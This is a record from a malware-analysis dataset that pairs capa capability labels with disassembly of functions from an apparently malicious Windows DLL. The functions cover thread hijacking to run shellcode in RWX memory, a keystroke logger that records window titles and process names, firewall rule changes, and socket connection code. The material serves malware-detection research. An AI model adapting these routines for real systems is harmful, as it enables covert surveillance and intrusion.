joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001bc98
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Suspend thread

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x510
and qword [rsp + 0x40], 0
mov r14, rcx
mov r13d, r8d
mov rsi, rdx
lea rcx, [rsp + 0x48]
mov r8d, 0x4c8
xor edx, edx
mov rdi, r9
call sub.ntdll.dll_memset
mov rbp, qword [rsi]
xor ecx, ecx
mov rdx, rbp
mov dword [rsp + 0x558], 0xccccfeeb
call fcn.1800188d0
xor r12d, r12d
mov dword [rsp + 0x70], 0x10000b
test eax, eax
lea ecx, [r12 + 0x10]
cmovne r12d, ecx
test rdi, rdi
jne 0x18001bd14
mov rcx, qword [rsi]
mov edx, r12d
call fcn.18001b43c
mov rdi, rax
mov rax, qword [0x180051918]
mov r15d, 4
test rax, rax
je 0x18001be52
lea rcx, [rsp + 0x30]
lea r8, [rsp + 0x568]
mov r9d, r15d
mov qword [rsp + 0x20], rcx
mov rcx, rbp
mov rdx, rdi
call rax
test eax, eax
js 0x18001be52
cmp qword [rsp + 0x30], r15
jne 0x18001be52
lea rax, [rsp + 0x560]
lea r9d, [r15 + 0x3c]
mov r8, r15
mov rdx, rdi
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x18001bd9b
lea r9, [rsp + 0x560]
lea r8, [rsp + 0x558]
mov rdx, rdi
mov rcx, rbp
call fcn.18001b3bc
jmp 0x18001bd9d
xor eax, eax
test eax, eax
je 0x18001be52
mov ebx, 0x1388
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rax, qword [0x180051908]
sub ebx, 0x64
test rax, rax
je 0x18001bdeb
mov rcx, qword [rsi + 8]
lea rdx, [rsp + 0x40]
call rax
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
test ebx, ebx
jle 0x18001bdf9
cmp qword [rsp + 0x138], rdi
jne 0x18001bdaa
xor r9d, r9d
mov r8d, r12d
mov rdx, r14
mov rcx, rsi
call fcn.18001b654
mov r9d, 0x40
mov r8, r15
mov ebx, eax
lea rax, [rsp + 0x560]
mov rdx, rdi
mov rcx, rbp
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
je 0x18001be4d
lea r9, [rsp + 0x560]
lea r8, [rsp + 0x568]
mov rdx, rdi
mov rcx, rbp
call fcn.18001b3bc
cmp ebx, 0xffffffff
jne 0x18001be5a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
test r15b, r13b
jne 0x18001be69
mov rcx, qword [rsi + 8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, ebx
mov rbx, qword [rsp + 0x550]
add rsp, 0x510
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x18001c7f8
Capabilities:
Allocate or change rwx memory
Map section object

Disassembly:
mov r11, rsp
sub rsp, 0x68
xor r9d, r9d
mov dword [rsp + 0x48], 0x40
xor eax, eax
mov dword [r11 - 0x28], r9d
mov dword [r11 + 0x24], eax
lea rax, [r11 - 0x18]
mov dword [rsp + 0x38], 2
mov qword [r11 - 0x38], rax
lea rax, [r11 + 0x20]
mov qword [r11 - 0x40], rax
mov qword [r11 - 0x18], r9
mov dword [r11 + 0x20], r9d
mov qword [r11 - 0x48], r9
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlNtStatusToDosError]
add rsp, 0x68
ret
Function at 0x18001c84c
Capabilities:
Get graphical window text

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0xa0
xor ebx, ebx
mov r14, r8
mov r13, rdx
mov r12d, ecx
lea rdi, [0x180051544]
mov esi, ebx
cmp dword [rdi - 4], r12d
jne 0x18001c8bf
cmp dword [rdi], ebx
je 0x18001c8d1
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r13
call qword [sym.imp.USER32.dll_GetClassNameA]
cmp eax, ebx
mov ebp, eax
jle 0x18001c8d1
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, ebp
call fcn.1800416ac
cmp eax, dword [rdi]
je 0x18001c8d1
add esi, 1
add rdi, 0x14
cmp esi, 3
jae 0x18001c99a
jmp 0x18001c880
mov eax, esi
lea rbp, [0x180051540]
lea rdi, [rax + rax*4]
cmp dword [rbp + rdi*4 + 0xc], ebx
je 0x18001c91b
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r13
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
mov esi, eax
jle 0x18001c91b
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.1800416ac
cmp eax, dword [rbp + rdi*4 + 0xc]
jne 0x18001c99a
cmp dword [rbp + rdi*4 + 8], ebx
je 0x18001c958
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_GetClassNameA]
cmp eax, ebx
mov esi, eax
jle 0x18001c958
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.1800416ac
cmp eax, dword [rbp + rdi*4 + 8]
jne 0x18001c99a
cmp dword [rbp + rdi*4 + 0x10], ebx
je 0x18001c995
lea rdx, [rsp + 0x20]
mov r8d, 0x80
mov rcx, r14
call qword [sym.imp.USER32.dll_GetWindowTextA]
cmp eax, ebx
mov esi, eax
jle 0x18001c995
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntdll.dll__strupr]
lea rcx, [rsp + 0x20]
mov edx, esi
call fcn.1800416ac
cmp eax, dword [rbp + rdi*4 + 0x10]
jne 0x18001c99a
mov ebx, 1
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop r12
ret
Function at 0x18001c9c0
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x180
xor esi, esi
mov edi, r8d
mov rbp, rcx
and dword [rsp + 0x48], esi
mov ebx, edx
lea rcx, [rsp + 0x4c]
lea r8d, [rsi + 0x26]
xor edx, edx
mov r12d, r9d
call sub.ntdll.dll_memset
cmp ebx, 0x100
jne 0x18001cb9a
lea r8d, [rsi + 0x2a]
lea rcx, [rsp + 0x48]
xor edx, edx
call sub.ntdll.dll_memset
lea rcx, [rsp + 0x80]
xor edx, edx
mov r8d, ebx
call sub.ntdll.dll_memset
lea edx, [rsi + 3]
mov rcx, rbp
call qword [sym.imp.USER32.dll_GetAncestor]
mov ebx, dword [rsp + 0x1b8]
mov ecx, dword [rsp + 0x1c0]
mov r8, rax
test rax, rax
mov eax, dword [rsp + 0x1b0]
cmove r8, rbp
mov rdx, rbp
mov dword [rsp + 0x4c], ebx
mov dword [rsp + 0x48], eax
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x58], r8
call fcn.18001c84c
lea rcx, [rsp + 0x80]
mov dword [rsp + 0x60], eax
call qword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x18001cb9a
mov ecx, ebx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov ecx, 0xa0
mov rbx, rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, 0xa1
mov r11w, ax
shr r11, 8
mov byte [rsp + 0x120], r11b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
lea ecx, [rsi + 0x10]
mov r11w, ax
shr r11, 8
mov byte [rsp + 0x121], r11b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
and word [rsp + 0x40], si
mov r11w, ax
mov qword [rsp + 0x30], rbx
and dword [rsp + 0x28], esi
shr r11, 8
lea r9, [rsp + 0x40]
lea r8, [rsp + 0x80]
mov edx, r12d
mov ecx, edi
mov dword [rsp + 0x20], 3
mov byte [rsp + 0x90], r11b
call qword [sym.imp.USER32.dll_ToUnicodeEx]
mov esi, 1
cmp eax, 0xffffffff
je 0x18001cb9a
test eax, eax
je 0x18001cb47
xor ebx, ebx
test eax, eax
movsxd rdi, eax
jle 0x18001cb9a
movzx eax, word [rsp + rbx*2 + 0x40]
lea rcx, [rsp + 0x48]
mov word [rsp + 0x68], ax
call fcn.18001ce58
add rbx, rsi
cmp rbx, rdi
jl 0x18001cb29
jmp 0x18001cb9a
xor ax, ax
sub edi, 8
je 0x18001cb82
sub edi, esi
je 0x18001cb7c
sub edi, 0x1c
je 0x18001cb76
sub edi, esi
je 0x18001cb70
sub edi, esi
je 0x18001cb6a
cmp edi, esi
jne 0x18001cb86
mov ax, 0x2193
jmp 0x18001cb86
mov ax, 0x2192
jmp 0x18001cb86
mov ax, 0x2191
jmp 0x18001cb86
mov ax, 0x2190
jmp 0x18001cb86
mov ax, 0x2423
jmp 0x18001cb86
mov ax, 0x21d0
test ax, ax
mov word [rsp + 0x68], ax
je 0x18001cb9a
lea rcx, [rsp + 0x48]
call fcn.18001ce58
mov r8, qword [rsp + 0x6a]
test r8, r8
je 0x18001cbb3
mov rcx, qword [0x180052eb0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea r11, [rsp + 0x180]
mov eax, esi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r12
ret
Function at 0x18001ce58
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x20
mov esi, 8
mov rbp, rcx
lea edx, [rsi + 0x14]
call fcn.1800416ac
mov rcx, qword [0x180053190]
lea r8, [rsp + 0x48]
mov edx, eax
call fcn.18001deac
neg eax
sbb rbx, rbx
and rbx, qword [rsp + 0x48]
je 0x18001cfc2
mov r12d, dword [rbx + 0x4a18]
test r12d, r12d
jne 0x18001cf09
mov r8d, dword [rbp]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
mov rdi, rax
je 0x18001cedf
lea r8, [rbx + 0x10]
xor edx, edx
mov r9d, 0x104
mov rcx, rax
call sub.PSAPI.DLL_GetModuleFileNameExW
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
mov dword [rbx + 0x4a1c], 1
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov rcx, qword [rbp + 0x10]
lea rdx, [rbx + 0x218]
mov r8d, 0x400
call qword [sym.imp.USER32.dll_GetWindowTextW]
cmp dword [rbx + 0x4a1c], 0
mov dword [rbx + 0x4a18], 1
je 0x18001cfab
movzx ecx, word [rbp + 0x20]
test cx, cx
je 0x18001cf54
mov eax, dword [rbx + 8]
cmp eax, 0x2000
jae 0x18001cf54
cmp cx, si
jne 0x18001cf44
test eax, eax
je 0x18001cf50
add eax, 0xffffffff
mov dword [rbx + 8], eax
jmp 0x18001cf50
mov word [rbx + rax*2 + 0xa18], cx
add dword [rbx + 8], 1
xor esi, esi
jmp 0x18001cf59
mov esi, 0x6f
cmp qword [rbp + 0x22], 0
je 0x18001cfab
mov rcx, qword [0x180052eb0]
xor edx, edx
lea r8d, [rdx + 0x20]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rdi, rax
je 0x18001cfab
lea rcx, [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov r11, qword [rbp + 0x22]
lea rdx, [rbx + 0x4a20]
mov qword [rdi + 0x18], r11
and qword [rbp + 0x22], 0
mov rcx, qword [rdx + 8]
mov qword [rdi + 8], rcx
mov qword [rdi], rdx
mov qword [rcx], rdi
mov qword [rdx + 8], rdi
test r12d, r12d
je 0x18001cfc2
mov rcx, qword [0x180053190]
lea r8, [rbx - 0x34]
xor edx, edx
call fcn.18001e034
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov eax, esi
add rsp, 0x20
pop r12
pop rdi
pop rsi
ret
Function at 0x18001eaf8
Capabilities:
Set socket configuration

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
sub rsp, 0x70
and dword [rax + 0x20], 0
mov rsi, rcx
mov rcx, qword [0x180052eb0]
mov rbp, rdx
mov edi, 8
xor edx, edx
lea r8d, [rdi + 0x49]
mov dword [rax - 0x20], 1
mov dword [rax - 0x1c], 0x2710
mov dword [rax - 0x18], 0x3e8
mov dword [rax - 0x28], 0x493e0
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rbx, rax
je 0x18001ec77
lea r8d, [rdi + 0x49]
xor edx, edx
mov rcx, rax
call sub.ntdll.dll_memset
and qword [rsp + 0x40], 0
and qword [rsp + 0x38], 0
or rax, 0xffffffffffffffff
lea r9d, [rdi + 4]
lea r8, [rsp + 0x58]
mov qword [rbx + 0x30], rax
mov qword [rbx + 0x38], rax
lea rax, [rsp + 0x98]
mov qword [rsp + 0x30], rax
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
mov edx, 0x98000004
mov rcx, rbp
mov qword [rbx + 8], rbx
mov qword [rbx], rbx
mov qword [rbx + 0x18], rsi
call qword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
jne 0x18001ec6f
cmp dword [rsi + 0x54], eax
je 0x18001ebec
lea r9, [rsp + 0x50]
mov edx, 0xffff
mov r8d, 0x1006
mov rcx, rbp
mov dword [rsp + 0x20], 4
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
jne 0x18001ec6f
mov rdx, rbp
mov rcx, rbx
call qword [rsi + 0x40]
test eax, eax
mov edi, eax
jne 0x18001ec6f
lea rcx, [rsi + 0x10]
mov qword [rbx + 0x30], rbp
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rsi + 8]
mov qword [rbx], rsi
mov qword [rbx + 8], rax
mov qword [rax], rbx
lea rcx, [rsi + 0x10]
mov qword [rsi + 8], rbx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
lea r8d, [rdi + 0x10]
lea rcx, [0x18001e6cc]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_QueueUserWorkItem]
test eax, eax
jne 0x18001ec69
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rsi + 0x10]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [rbx + 8]
mov r11, qword [rbx]
lea rcx, [rsi + 0x10]
mov qword [rax], r11
mov qword [r11 + 8], rax
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x18001ec6b
xor edi, edi
test edi, edi
je 0x18001ec77
mov rcx, rbx
call fcn.18001e668
lea r11, [rsp + 0x70]
mov eax, edi
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x18001eee0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
xor ebx, ebx
xor r9d, r9d
mov r8d, edi
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x18001ef45
cmp eax, 0xffffffff
jne 0x18001ef38
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x2733
mov ebx, eax
jne 0x18001ef4a
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
jmp 0x18001ef3f
sub edi, eax
cdqe
add rsi, rax
test edi, edi
je 0x18001ef4a
jmp 0x18001eeff
mov ebx, 0x4d4
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x18001ef64
Capabilities:
Create thread
Initialize winsock library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x1d0
xor esi, esi
test r9, r9
mov r12, r9
mov rbp, r8
mov r13, rdx
jne 0x18001ef97
lea edi, [rsi + 0x57]
jmp 0x18001f0f9
lea rdx, [rsp + 0x30]
mov cx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
mov edi, eax
jne 0x18001f0ce
mov rcx, qword [0x180052eb0]
mov edi, 0x8c
xor edx, edx
mov r8, rdi
lea esi, [rax + 1]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
mov rbx, rax
jne 0x18001efda
lea edi, [rsi + 7]
jmp 0x18001f0eb
mov r8, rdi
xor edx, edx
mov rcx, rax
call sub.ntdll.dll_memset
lea rcx, [rbx + 0x50]
mov r8d, 0x10
mov rdx, r13
call sub.ntdll.dll_memcpy
lea rcx, [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
or qword [rbx + 0x60], 0xffffffffffffffff
xor r9d, r9d
xor r8d, r8d
mov edx, esi
xor ecx, ecx
mov qword [rbx + 8], rbx
mov qword [rbx], rbx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
test rax, rax
mov qword [rbx + 0x68], rax
je 0x18001f0db
test rbp, rbp
mov qword [rbx + 0x70], rbp
jne 0x18001f053
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
test rax, rax
mov qword [rbx + 0x78], rax
mov qword [rbx + 0x70], rax
je 0x18001f0db
mov rcx, r12
call qword [sym.imp.SHLWAPI.dll_StrDupA]
mov r8d, 6
mov edx, esi
mov qword [rbx + 0x38], rax
lea rax, [fcn.18001e478]
lea ecx, [r8 - 4]
mov qword [rbx + 0x40], rax
lea rax, [0x18001e4c0]
mov qword [rbx + 0x48], rax
call qword [sym.imp.WS2_32.dll_socket]
cmp rax, 0xffffffffffffffff
mov qword [rbx + 0x60], rax
je 0x18001f0db
lea rax, [rbx + 0x88]
lea r8, [0x18001ec90]
mov r9, rbx
mov qword [rsp + 0x28], rax
and dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
mov qword [rbx + 0x80], rax
je 0x18001f0db
mov qword [0x180052ec0], rbx
xor edi, edi
jmp 0x18001f0d6
mov rbx, qword [rsp + 0x208]
cmp edi, 0xffffffff
jne 0x18001f0e3
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
test edi, edi
je 0x18001f0f9
test esi, esi
je 0x18001f0f9
mov rcx, rbx
call fcn.18001f118
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea r11, [rsp + 0x1d0]
mov eax, edi
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rdi
ret
Function at 0x180021d90
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x50
and qword [rax - 0x10], 0
and word [rax + 0x18], 0
and qword [rax - 0x18], 0
and qword [rax - 0x20], 0
and qword [rax + 0x20], 0
and qword [rax - 0x28], 0
mov rdi, rdx
xor edx, edx
lea rax, [rax - 0x10]
lea r9, [0x180049820]
lea rcx, [0x180049860]
lea r8d, [rdx + 1]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov ebx, eax
jne 0x180021f07
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + 0x38]
test eax, eax
mov ebx, eax
jne 0x180021f07
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x38]
test eax, eax
mov ebx, eax
jne 0x180021f07
mov rcx, qword [rsp + 0x38]
lea rdx, [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0xa0]
test eax, eax
mov ebx, eax
jne 0x180021f07
mov rcx, qword [rsp + 0x30]
lea r8, [rsp + 0x78]
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
jne 0x180021e9f
mov rcx, qword [rsp + 0x78]
lea rdx, [rsp + 0x70]
mov rax, qword [rcx]
call qword [rax + 0x88]
test eax, eax
mov ebx, eax
jne 0x180021e76
cmp word [rsp + 0x70], ax
jne 0x180021f07
mov rcx, qword [rsp + 0x78]
mov dx, 1
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
mov ebx, eax
je 0x180021f07
mov rcx, qword [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + 0x10]
and qword [rsp + 0x78], 0
xor edx, edx
lea rax, [rsp + 0x78]
lea r9, [0x1800497f0]
lea r8d, [rdx + 1]
lea rcx, [0x180049840]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov ebx, eax
jne 0x180021f07
mov rcx, qword [rsp + 0x78]
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
mov ebx, eax
jne 0x180021f07
mov rcx, qword [rsp + 0x78]
lea rdx, [0x180057aa0]
mov rax, qword [rcx]
call qword [rax + 0x40]
test eax, eax
mov ebx, eax
jne 0x180021f07
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + 0x40]
mov ebx, eax
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x180021f17
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x180021f27
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x180021f37
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x180021f47
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x180021f57
mov rax, qword [rcx]
call qword [rax + 0x10]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x180021f64
Capabilities:
Access firewall policy via inetfwpolicy2
Access firewall rule properties via inetfwrule

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x50
and qword [rax - 0x28], 0
and qword [rax - 0x20], 0
and word [rax + 0x20], 0
xor edx, edx
mov rdi, r8
lea rax, [rax - 0x18]
lea r9, [0x180049810]
lea rcx, [0x180049850]
lea r8d, [rdx + 1]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov ebx, eax
jne 0x1800220de
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x38]
mov rax, qword [rcx]
call qword [rax + 0x90]
test eax, eax
mov ebx, eax
jne 0x1800220de
mov rcx, qword [rsp + 0x38]
lea r8, [rsp + 0x30]
lea rdx, [0x180057aa0]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
mov ebx, eax
jne 0x180022038
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x78]
mov rax, qword [rcx]
call qword [rax + 0x108]
test eax, eax
jne 0x18002200b
cmp word [rsp + 0x78], ax
jne 0x1800220de
mov rcx, qword [rsp + 0x30]
mov dx, 1
mov rax, qword [rcx]
call qword [rax + 0x110]
test eax, eax
mov ebx, eax
je 0x1800220de
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x10]
and qword [rsp + 0x30], 0
xor edx, edx
lea rax, [rsp + 0x30]
lea r9, [0x180049800]
lea r8d, [rdx + 1]
lea rcx, [0x180049830]
mov qword [rsp + 0x20], rax
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
mov ebx, eax
jne 0x1800220de
mov rcx, qword [rsp + 0x30]
lea edx, [rbx + 1]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [rsp + 0x30]
lea rdx, [0x18004b190]
mov rax, qword [rcx]
call qword [rax + pe_nt_image_headers64]
mov rcx, qword [rsp + 0x30]
mov dx, 1
mov rax, qword [rcx]
call qword [rax + 0x110]
mov rcx, qword [rsp + 0x30]
lea rdx, [0x180057aa0]
mov rax, qword [rcx]
call qword [rax + 0x40]
mov rcx, qword [rsp + 0x30]
lea rdx, [0x180057aa0]
mov rax, qword [rcx]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x30]
mov rdx, rdi
mov rax, qword [rcx]
call qword [rax + 0x60]
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0x40]
mov ebx, eax
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x1800220ee
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x1800220fe
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x30]
test rcx, rcx
je 0x18002210e
mov rax, qword [rcx]
call qword [rax + 0x10]
mov eax, ebx
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
Function at 0x1800236d4
Capabilities:
Connect socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r12
push r13
sub rsp, 0x50
lea rsi, [rdx + 0xa0]
mov rdi, rdx
lea r9, [rdx + 0xaa]
movsx edx, word [rdx + 0xb0]
mov qword [rax - 0x20], rsi
mov dword [rax - 0x28], 1
mov qword [rax - 0x30], rdi
lea rax, [0x18002e540]
mov r8d, 1
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 1
and dword [rsp + 0x20], 0
mov r13, rcx
call fcn.1800357d0
test eax, eax
mov ebx, eax
jne 0x1800237f0
lock add dword [rdi + 0x60], 1
cmp word [rdi + 0xb0], 2
jne 0x180023758
lea ebx, [rax + 0x10]
jmp 0x180023769
or ebx, 0xffffffff
cmp word [rdi + 0xb0], 0x17
lea eax, [rbx + 0x1d]
cmove ebx, eax
mov r12, qword [rsi]
xor eax, eax
cmp word [rdi + 0xb0], 2
sete al
lea rdx, [rdi + 0xb0]
lea rcx, [r12 + 0x10]
movsxd r8, ebx
mov dword [r12 + 0x94], eax
call sub.ntdll.dll_memcpy
mov rcx, qword [r12]
lea rdx, [rdi + 0xb0]
mov r8d, ebx
mov dword [r12 + 0x90], ebx
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
je 0x1800237bd
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1800237c8
mov rdx, r12
mov rcx, r13
call fcn.1800356e8
test eax, eax
mov ebx, eax
jne 0x1800237d7
mov byte [rdi + 0x248], 1
jmp 0x1800237f0
cmp ebx, 0x2733
je 0x1800237f0
mov rcx, qword [rsi]
test rcx, rcx
je 0x1800237f0
call fcn.180035a9c
and qword [rsi], 0
test ebx, ebx
jne 0x180023804
and dword [rdi + 0x230], ebx
mov rcx, rdi
call fcn.180033860
mov ebx, eax
lea r11, [rsp + 0x50]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r13
pop r12
pop rdi
ret